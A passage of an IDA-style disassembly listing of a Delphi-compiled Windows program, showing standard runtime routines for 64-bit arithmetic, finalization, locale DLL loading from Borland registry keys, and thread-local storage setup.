; CODE XREF: sub_402C70+28j push ebp mov ebp, edx loc_402CFB: ; CODE XREF: sub_402C70+A1j mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_402C70 dec edi jg short loc_402CFB pop ebp jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D16: ; CODE XREF: sub_402C70+2Cj push ebp mov ebp, edx loc_402D19: ; CODE XREF: sub_402C70+B7j mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_402C3C dec edi jg short loc_402D19 pop ebp jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D2C: ; CODE XREF: sub_402C70+30j ; sub_402C70+C7j mov eax, ebx add ebx, 4 call sub_403398 dec edi jg short loc_402D2C jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D3B: ; CODE XREF: sub_402C70+38j ; sub_402C70+D8j mov eax, ebx mov edx, esi add ebx, 4 call sub_402E80 dec edi jg short loc_402D3B jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D4C: ; CODE XREF: sub_402C70+3Ej pop edi pop esi pop ebx pop eax mov al, 2 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_402D57: ; CODE XREF: sub_402C70+4Fj ; sub_402C70+5Bj ... pop edi pop esi pop ebx pop eax locret_402D5B: ; CODE XREF: sub_402C70+3j retn sub_402C70 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_402D60 proc near ; CODE XREF: CODE:00402D77p ; DATA XREF: sub_402D80:loc_402D87o mov al, 10h jmp loc_4012D8 sub_402D60 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_402D68: ; DATA XREF: sub_402D80+14o mov ax, [eax] sub ax, 2 jb short locret_402D7C sub ax, 8 jz short locret_402D7C call sub_402D60 locret_402D7C: ; CODE XREF: CODE:00402D6Fj ; CODE:00402D75j retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402D80 proc near ; CODE XREF: sub_403450+1Dp mov edx, offset dword_40A5DC xor eax, eax loc_402D87: ; CODE XREF: sub_402D80+12j mov dword ptr [edx+eax*4], offset sub_402D60 inc eax cmp eax, 2Bh jnz short loc_402D87 mov eax, offset loc_402D68 mov ds:dword_40A5DC, eax retn sub_402D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402DA0 proc near ; CODE XREF: sub_402DB0+1p jmp ds:dword_40A5DC sub_402DA0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402DA8 proc near ; CODE XREF: sub_4046AC+Ap jmp ds:dword_40A608 sub_402DA8 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402DB0 proc near ; CODE XREF: sub_402C70+7Ep push eax call sub_402DA0 pop eax retn sub_402DB0 endp ; =============== S U B R O U T I N E ======================================= sub_402DB8 proc near ; DATA XREF: sub_403450+13o mov al, 11h jmp loc_4012D8 sub_402DB8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402DC0 proc near ; CODE XREF: sub_404520+43p ; sub_404520+5Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edx push eax mov eax, [esp+8+arg_4] mul [esp+8+var_8] mov ecx, eax mov eax, [esp+8+var_4] mul [esp+8+arg_0] add ecx, eax mov eax, [esp+8+var_8] mul [esp+8+arg_0] add edx, ecx pop ecx pop ecx retn 8 sub_402DC0 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402DE4 proc near ; CODE XREF: sub_4048B9+38p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push ebx push esi push edi mov ebx, [esp+10h+arg_0] mov ecx, [esp+10h+arg_4] or ecx, ecx jnz short loc_402DFC or edx, edx jz short loc_402E27 or ebx, ebx jz short loc_402E27 loc_402DFC: ; CODE XREF: sub_402DE4+Ej mov ebp, ecx mov ecx, 40h xor edi, edi xor esi, esi loc_402E07: ; CODE XREF: sub_402DE4:loc_402E1Ej shl eax, 1 rcl edx, 1 rcl esi, 1 rcl edi, 1 cmp edi, ebp jb short loc_402E1E ja short loc_402E19 cmp esi, ebx jb short loc_402E1E loc_402E19: ; CODE XREF: sub_402DE4+2Fj sub esi, ebx sbb edi, ebp inc eax loc_402E1E: ; CODE XREF: sub_402DE4+2Dj ; sub_402DE4+33j loop loc_402E07 loc_402E20: ; CODE XREF: sub_402DE4+47j pop edi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_402E27: ; CODE XREF: sub_402DE4+12j ; sub_402DE4+16j div ebx xor edx, edx jmp short loc_402E20 sub_402DE4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402E30 proc near ; CODE XREF: sub_4048B9+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push ebx push esi push edi mov ebx, [esp+10h+arg_0] mov ecx, [esp+10h+arg_4] or ecx, ecx jnz short loc_402E48 or edx, edx jz short loc_402E77 or ebx, ebx jz short loc_402E77 loc_402E48: ; CODE XREF: sub_402E30+Ej mov ebp, ecx mov ecx, 40h xor edi, edi xor esi, esi loc_402E53: ; CODE XREF: sub_402E30:loc_402E6Aj shl eax, 1 rcl edx, 1 rcl esi, 1 rcl edi, 1 cmp edi, ebp jb short loc_402E6A ja short loc_402E65 cmp esi, ebx jb short loc_402E6A loc_402E65: ; CODE XREF: sub_402E30+2Fj sub esi, ebx sbb edi, ebp inc eax loc_402E6A: ; CODE XREF: sub_402E30+2Dj ; sub_402E30+33j loop loc_402E53 mov eax, esi mov edx, edi loc_402E70: ; CODE XREF: sub_402E30+4Cj pop edi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_402E77: ; CODE XREF: sub_402E30+12j ; sub_402E30+16j div ebx xchg eax, edx xor edx, edx jmp short loc_402E70 sub_402E30 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402E80 proc near ; CODE XREF: sub_402C70+D2p ; sub_406B98+85p ... mov ecx, [eax] test ecx, ecx jz short locret_402EB8 mov dword ptr [eax], 0 dec dword ptr [ecx-8] jnz short locret_402EB8 push eax mov eax, ecx xor ecx, ecx mov cl, [edx+1] mov edx, [ecx+edx+6] test edx, edx jz short loc_402EAF mov ecx, [eax-4] test ecx, ecx jz short loc_402EAF mov edx, [edx] call sub_402C70 loc_402EAF: ; CODE XREF: sub_402E80+1Fj ; sub_402E80+26j sub eax, 8 call sub_401218 pop eax locret_402EB8: ; CODE XREF: sub_402E80+4j ; sub_402E80+Fj retn sub_402E80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402EBC proc near ; CODE XREF: sub_402F04+1Bp Filename = byte ptr -110h push ebx push esi add esp, 0FFFFFEF8h mov ebx, eax cmp dword ptr [ebx+10h], 0 jnz short loc_402EF7 push 105h ; nSize lea eax, [esp+114h+Filename] push eax ; lpFilename mov eax, [ebx+4] push eax ; hModule call GetModuleFileNameA mov eax, esp mov dl, 1 call sub_4030F8 mov esi, eax mov [ebx+10h], esi test esi, esi jnz short loc_402EF7 mov eax, [ebx+4] mov [ebx+10h], eax loc_402EF7: ; CODE XREF: sub_402EBC+Ej ; sub_402EBC+33j mov eax, [ebx+10h] add esp, 108h pop esi pop ebx retn sub_402EBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402F04 proc near ; CODE XREF: sub_4033B0+2Bp ; CODE:00405794p ... mov edx, ds:dword_409020 test edx, edx jz short locret_402F2B loc_402F0E: ; CODE XREF: sub_402F04+25j cmp eax, [edx+4] jz short loc_402F1D cmp eax, [edx+8] jz short loc_402F1D cmp eax, [edx+0Ch] jnz short loc_402F25 loc_402F1D: ; CODE XREF: sub_402F04+Dj ; sub_402F04+12j mov eax, edx call sub_402EBC retn ; --------------------------------------------------------------------------- loc_402F25: ; CODE XREF: sub_402F04+17j mov edx, [edx] test edx, edx jnz short loc_402F0E locret_402F2B: ; CODE XREF: sub_402F04+8j retn sub_402F04 endp ; =============== S U B R O U T I N E ======================================= sub_402F2C proc near ; CODE XREF: sub_402F40+83p ; sub_402F40+96p ... jmp short loc_402F34 ; --------------------------------------------------------------------------- loc_402F2E: ; CODE XREF: sub_402F2C+11j push eax ; lpsz call CharNextA loc_402F34: ; CODE XREF: sub_402F2Cj mov dl, [eax] test dl, dl jz short locret_402F3F cmp dl, 5Ch jnz short loc_402F2E locret_402F3F: ; CODE XREF: sub_402F2C+Cj retn sub_402F2C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F40 proc near ; CODE XREF: sub_4030F8+A3p String1 = byte ptr -24Fh String = _WIN32_FIND_DATAA ptr -14Ah iMaxLength = dword ptr -8 lpString2 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDB0h push ebx push esi push edi mov [ebp+iMaxLength], edx mov [ebp+lpString2], eax mov eax, [ebp+lpString2] mov dword ptr [ebp+String._padding], eax push offset ModuleName ; "kernel32.dll" call GetModuleHandleA mov esi, eax test esi, esi jz short loc_402FA8 push offset ProcName ; "GetLongPathNameA" push esi ; hModule call GetProcAddress mov ebx, eax test ebx, ebx jz short loc_402FA8 push 105h lea eax, [ebp+String1] push eax mov eax, [ebp+lpString2] push eax call ebx test eax, eax jz short loc_402FA8 mov eax, [ebp+iMaxLength] push eax ; iMaxLength lea eax, [ebp+String1] push eax ; lpString2 mov eax, [ebp+lpString2] push eax ; lpString1 call lstrcpynA jmp loc_4030CA ; --------------------------------------------------------------------------- loc_402FA8: ; CODE XREF: sub_402F40+26j ; sub_402F40+37j ... mov eax, [ebp+lpString2] cmp byte ptr [eax], 5Ch jnz short loc_402FE8 mov eax, [ebp+lpString2] cmp byte ptr [eax+1], 5Ch jnz loc_4030CA mov eax, [ebp+lpString2] add eax, 2 call sub_402F2C mov esi, eax cmp byte ptr [esi], 0 jz loc_4030CA lea eax, [esi+1] call sub_402F2C mov esi, eax cmp byte ptr [esi], 0 jz loc_4030CA jmp short loc_402FEE ; --------------------------------------------------------------------------- loc_402FE8: ; CODE XREF: sub_402F40+6Ej mov esi, [ebp+lpString2] add esi, 2 loc_402FEE: ; CODE XREF: sub_402F40+A6j mov ebx, esi sub ebx, [ebp+lpString2] lea eax, [ebx+1] push eax ; iMaxLength mov eax, [ebp+lpString2] push eax ; lpString2 lea eax, [ebp+String1] push eax ; lpString1 call lstrcpynA jmp loc_4030AD ; --------------------------------------------------------------------------- loc_40300C: ; CODE XREF: sub_402F40+170j lea eax, [esi+1] call sub_402F2C mov edi, eax mov eax, edi sub eax, esi mov edx, eax add edx, ebx inc edx cmp edx, 105h jg loc_4030CA inc eax push eax ; iMaxLength push esi ; lpString2 lea eax, [ebp+String1] add eax, ebx push eax ; lpString1 call lstrcpynA lea eax, [ebp+String] push eax ; lpFindFileData lea eax, [ebp+String1] push eax ; lpFileName call FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4030CA push esi ; hFindFile call FindClose lea eax, [ebp+String.cFileName] push eax ; lpString call lstrlenA lea edx, [ebx+1] add eax, edx inc eax cmp eax, 105h jg short loc_4030CA mov [ebp+ebx+String1], 5Ch mov eax, 105h sub eax, ebx dec eax push eax ; iMaxLength lea eax, [ebp+String.cFileName] push eax ; lpString2 lea eax, [ebp+String1] add eax, ebx inc eax push eax ; lpString1 call lstrcpynA lea eax, [ebp+String.cFileName] push eax ; lpString call lstrlenA inc eax add ebx, eax mov esi, edi loc_4030AD: ; CODE XREF: sub_402F40+C7j cmp byte ptr [esi], 0 jnz loc_40300C mov eax, [ebp+iMaxLength] push eax ; iMaxLength lea eax, [ebp+String1] push eax ; lpString2 mov eax, [ebp+lpString2] push eax ; lpString1 call lstrcpynA loc_4030CA: ; CODE XREF: sub_402F40+63j ; sub_402F40+77j ... mov eax, dword ptr [ebp+String._padding] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402F40 endp ; --------------------------------------------------------------------------- ; char ModuleName[] ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_402F40+18o align 4 ; char ProcName[] ProcName db 'GetLongPathNameA',0 ; DATA XREF: sub_402F40+28o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030F8 proc near ; CODE XREF: sub_402EBC+27p ValueName = byte ptr -11Dh cbData = dword ptr -18h String2 = byte ptr -12h var_E = byte ptr -0Eh LCData = byte ptr -0Dh var_B = byte ptr -0Bh hKey = dword ptr -8 lpString2 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEE0h push ebx push esi mov [ebp+lpString2], eax push 105h ; nSize lea eax, [ebp+ValueName] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA mov [ebp+String2], 0 lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset SubKey ; "Software\\Borland\\Locales" push 80000001h ; hKey call RegOpenKeyExA test eax, eax jz short loc_40317B lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset SubKey ; "Software\\Borland\\Locales" push 80000002h ; hKey call RegOpenKeyExA test eax, eax jz short loc_40317B lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset aSoftwareBorl_0 ; "Software\\Borland\\Delphi\\Locales" push 80000001h ; hKey call RegOpenKeyExA test eax, eax jnz loc_403204 loc_40317B: ; CODE XREF: sub_4030F8+41j ; sub_4030F8+5Fj xor eax, eax push ebp push offset loc_4031FD push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+cbData], 5 lea eax, [ebp+ValueName] mov edx, 105h call sub_402F40 lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+String2] push eax ; lpData push 0 ; lpType push 0 ; lpReserved lea eax, [ebp+ValueName] push eax ; lpValueName mov eax, [ebp+hKey] push eax ; hKey call RegQueryValueExA test eax, eax jz short loc_4031E2 lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+String2] push eax ; lpData push 0 ; lpType push 0 ; lpReserved push offset ValueName ; lpValueName mov eax, [ebp+hKey] push eax ; hKey call RegQueryValueExA test eax, eax jz short loc_4031E2 mov [ebp+String2], 0 loc_4031E2: ; CODE XREF: sub_4030F8+C6j ; sub_4030F8+E4j mov [ebp+var_E], 0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403204 loc_4031F3: ; CODE XREF: sub_4030F8+10Aj mov eax, [ebp+hKey] push eax ; hKey call RegCloseKey retn ; --------------------------------------------------------------------------- loc_4031FD: ; DATA XREF: sub_4030F8+86o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4031F3 ; --------------------------------------------------------------------------- loc_403204: ; CODE XREF: sub_4030F8+7Dj ; sub_4030F8+104j ; DATA XREF: ... push 105h ; iMaxLength mov eax, [ebp+lpString2] push eax ; lpString2 lea eax, [ebp+ValueName] push eax ; lpString1 call lstrcpynA push 5 ; cchData lea eax, [ebp+LCData] push eax ; lpLCData push 3 ; LCType call GetThreadLocale push eax ; Locale call GetLocaleInfoA xor esi, esi cmp [ebp+ValueName], 0 jz loc_40331E cmp [ebp+LCData], 0 jnz short loc_40324B cmp [ebp+String2], 0 jz loc_40331E loc_40324B: ; CODE XREF: sub_4030F8+147j lea eax, [ebp+ValueName] push eax ; lpString call lstrlenA mov ebx, eax lea eax, [ebp+ValueName] add ebx, eax jmp short loc_403264 ; --------------------------------------------------------------------------- loc_403263: ; CODE XREF: sub_4030F8+179j dec ebx loc_403264: ; CODE XREF: sub_4030F8+169j cmp byte ptr [ebx], 2Eh jz short loc_403273 lea eax, [ebp+ValueName] cmp ebx, eax jnz short loc_403263 loc_403273: ; CODE XREF: sub_4030F8+16Fj lea eax, [ebp+ValueName] cmp ebx, eax jz loc_40331E inc ebx cmp [ebp+String2], 0 jz short loc_4032B0 mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+String2] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax loc_4032B0: ; CODE XREF: sub_4030F8+18Ej test esi, esi jnz short loc_40331E cmp [ebp+LCData], 0 jz short loc_40331E lea eax, [ebp+ValueName] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+LCData] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax test esi, esi jnz short loc_40331E mov [ebp+var_B], 0 lea eax, [ebp+ValueName] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+LCData] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax loc_40331E: ; CODE XREF: sub_4030F8+13Dj ; sub_4030F8+14Dj ... mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_4030F8 endp ; --------------------------------------------------------------------------- align 4 ; char SubKey[] SubKey db 'Software\Borland\Locales',0 ; DATA XREF: sub_4030F8+30o ; sub_4030F8+4Eo align 4 ; char aSoftwareBorl_0[] aSoftwareBorl_0 db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_4030F8+6Co ; char ValueName[] ValueName db 4 dup(0) ; DATA XREF: sub_4030F8+D4o ; =============== S U B R O U T I N E ======================================= sub_403368 proc near ; CODE XREF: sub_403518+5p mov edx, ds:dword_409020 mov [eax], edx mov ds:dword_409020, eax retn sub_403368 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403378 proc near ; CODE XREF: sub_4024E0+66p ; DATA XREF: DATA:off_409028o push ebx push esi mov esi, eax mov ebx, ds:dword_409024 test ebx, ebx jz short loc_403392 loc_403386: ; CODE XREF: sub_403378+18j mov eax, [esi+4] call dword ptr [ebx+4] mov ebx, [ebx] test ebx, ebx jnz short loc_403386 loc_403392: ; CODE XREF: sub_403378+Cj pop esi pop ebx retn sub_403378 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403398 proc near ; CODE XREF: sub_402C70+C1p mov edx, [eax] test edx, edx jz short locret_4033AC mov dword ptr [eax], 0 push eax push edx mov eax, [edx] call dword ptr [eax+8] pop eax locret_4033AC: ; CODE XREF: sub_403398+4j retn sub_403398 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4033B0 proc near ; CODE XREF: sub_402464+16p ; sub_4051B0+2Ep ... Buffer = byte ptr -408h push ebx push esi add esp, 0FFFFFC00h mov esi, edx mov ebx, eax test ebx, ebx jz short loc_4033FD cmp dword ptr [ebx+4], 10000h jge short loc_4033F3 push 400h ; cchBufferMax lea eax, [esp+40Ch+Buffer] push eax ; lpBuffer mov eax, [ebx+4] push eax ; uID mov eax, [ebx] mov eax, [eax] call sub_402F04 push eax ; hInstance call LoadStringA mov ecx, eax mov edx, esp mov eax, esi call sub_4026B4 jmp short loc_4033FD ; --------------------------------------------------------------------------- loc_4033F3: ; CODE XREF: sub_4033B0+17j mov eax, esi mov edx, [ebx+4] call sub_40279C loc_4033FD: ; CODE XREF: sub_4033B0+Ej ; sub_4033B0+41j add esp, 400h pop esi pop ebx retn sub_4033B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403408 proc near ; DATA XREF: CODE:00407B34o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403444 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A5A4 jnz short loc_403436 cmp ds:dword_40A5D8, 0 jz short loc_403430 call ds:dword_40A5D8 loc_403430: ; CODE XREF: sub_403408+20j call ds:off_409040 loc_403436: ; CODE XREF: sub_403408+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40344B loc_403443: ; CODE XREF: sub_403408+41j retn ; --------------------------------------------------------------------------- loc_403444: ; DATA XREF: sub_403408+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_403443 ; --------------------------------------------------------------------------- loc_40344B: ; CODE XREF: sub_403408:loc_403443j ; DATA XREF: sub_403408+36o pop ebp retn sub_403408 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403450 proc near ; DATA XREF: CODE:00407B30o sub ds:dword_40A5A4, 1 jnb short locret_40347C call GetProcessHeap mov ds:hHeap, eax mov ds:dword_40A000, offset sub_402DB8 call sub_402D80 call GetCurrentThreadId mov ds:dword_40A030, eax locret_40347C: ; CODE XREF: sub_403450+7j retn sub_403450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403480 proc near ; CODE XREF: sub_403494+21p push eax ; uBytes push 40h ; uFlags call LocalAlloc retn sub_403480 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40348C proc near ; CODE XREF: sub_403494+1p mov eax, 8 retn sub_40348C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403494 proc near ; CODE XREF: sub_4034D8:loc_4034F2p push ebx call sub_40348C mov ebx, eax test ebx, ebx jz short loc_4034D6 cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_4034B3 mov eax, 0E2h call sub_4025BC ; --------------------------------------------------------------------------- loc_4034B3: ; CODE XREF: sub_403494+13j mov eax, ebx call sub_403480 test eax, eax jnz short loc_4034CA mov eax, 0E2h call sub_4025BC ; --------------------------------------------------------------------------- jmp short loc_4034D6 ; --------------------------------------------------------------------------- loc_4034CA: ; CODE XREF: sub_403494+28j push eax ; lpTlsValue mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsSetValue loc_4034D6: ; CODE XREF: sub_403494+Aj ; sub_403494+34j pop ebx retn sub_403494 endp ; =============== S U B R O U T I N E ======================================= sub_4034D8 proc near ; CODE XREF: sub_40128C+20p ; sub_4012E4+3p ... mov cl, ds:byte_40A688 mov eax, ds:TlsIndex test cl, cl jnz short loc_40350D mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_4034F2: ; CODE XREF: sub_4034D8+3Dj call sub_403494 mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsGetValue test eax, eax jz short loc_403507 retn ; --------------------------------------------------------------------------- loc_403507: ; CODE XREF: sub_4034D8+2Cj mov eax, ds:dword_40A69C retn ; --------------------------------------------------------------------------- loc_40350D: ; CODE XREF: sub_4034D8+Dj push eax ; dwTlsIndex call TlsGetValue test eax, eax jz short loc_4034F2 retn sub_4034D8 endp ; =============== S U B R O U T I N E ======================================= sub_403518 proc near ; CODE XREF: sub_403524+2Ep mov eax, offset dword_409094 call sub_403368 retn sub_403518 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403524 proc near ; CODE XREF: CODE:00407B87p push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 ; lpModuleName call GetModuleHandleA mov ds:dword_40A694, eax mov eax, ds:dword_40A694 mov ds:dword_409098, eax xor eax, eax mov ds:dword_40909C, eax xor eax, eax mov ds:dword_4090A0, eax call sub_403518 mov edx, offset dword_409094 mov eax, ebx call sub_402428 pop ebx retn sub_403524 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403568 proc near ; DATA XREF: CODE:00407B2Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40358D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A698 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403594 loc_40358C: ; CODE XREF: sub_403568+2Aj retn ; --------------------------------------------------------------------------- loc_40358D: ; DATA XREF: sub_403568+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_40358C ; --------------------------------------------------------------------------- loc_403594: ; CODE XREF: sub_403568:loc_40358Cj ; DATA XREF: sub_403568+1Fo pop ebp retn sub_403568 endp ; --------------------------------------------------------------------------- align 4 loc_403598: ; DATA XREF: CODE:off_407B28o sub ds:dword_40A698, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035A0 proc near ; DATA XREF: CODE:00407B3Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4035C5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4035CC loc_4035C4: ; CODE XREF: sub_4035A0+2Aj retn ; --------------------------------------------------------------------------- loc_4035C5: ; DATA XREF: sub_4035A0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4035C4 ; --------------------------------------------------------------------------- loc_4035CC: ; CODE XREF: sub_4035A0:loc_4035C4j ; DATA XREF: sub_4035A0+1Fo pop ebp retn sub_4035A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4035D0 proc near ; DATA XREF: CODE:00407B38o sub ds:dword_40A6A0, 1 retn sub_4035D0 endp ; [00000006 BYTES: COLLAPSED FUNCTION GetUserNameA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CreateDirectoryA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION EnumCalendarInfoA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FileTimeToDosDateTime. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FileTimeToLocalFileTime. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FindClose_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FindFirstFileA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetACP. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCPInfo. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentDirectoryA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetDiskFreeSpaceA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetEnvironmentVariableA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetStringTypeExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetVersionExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION TerminateProcess. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VirtualQuery. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CharNextA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetSystemMetrics. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadStringA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036B8 proc near ; DATA XREF: CODE:00407B44o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4036DD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4036E4 loc_4036DC: ; CODE XREF: sub_4036B8+2Aj retn ; --------------------------------------------------------------------------- loc_4036DD: ; DATA XREF: sub_4036B8+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4036DC ; 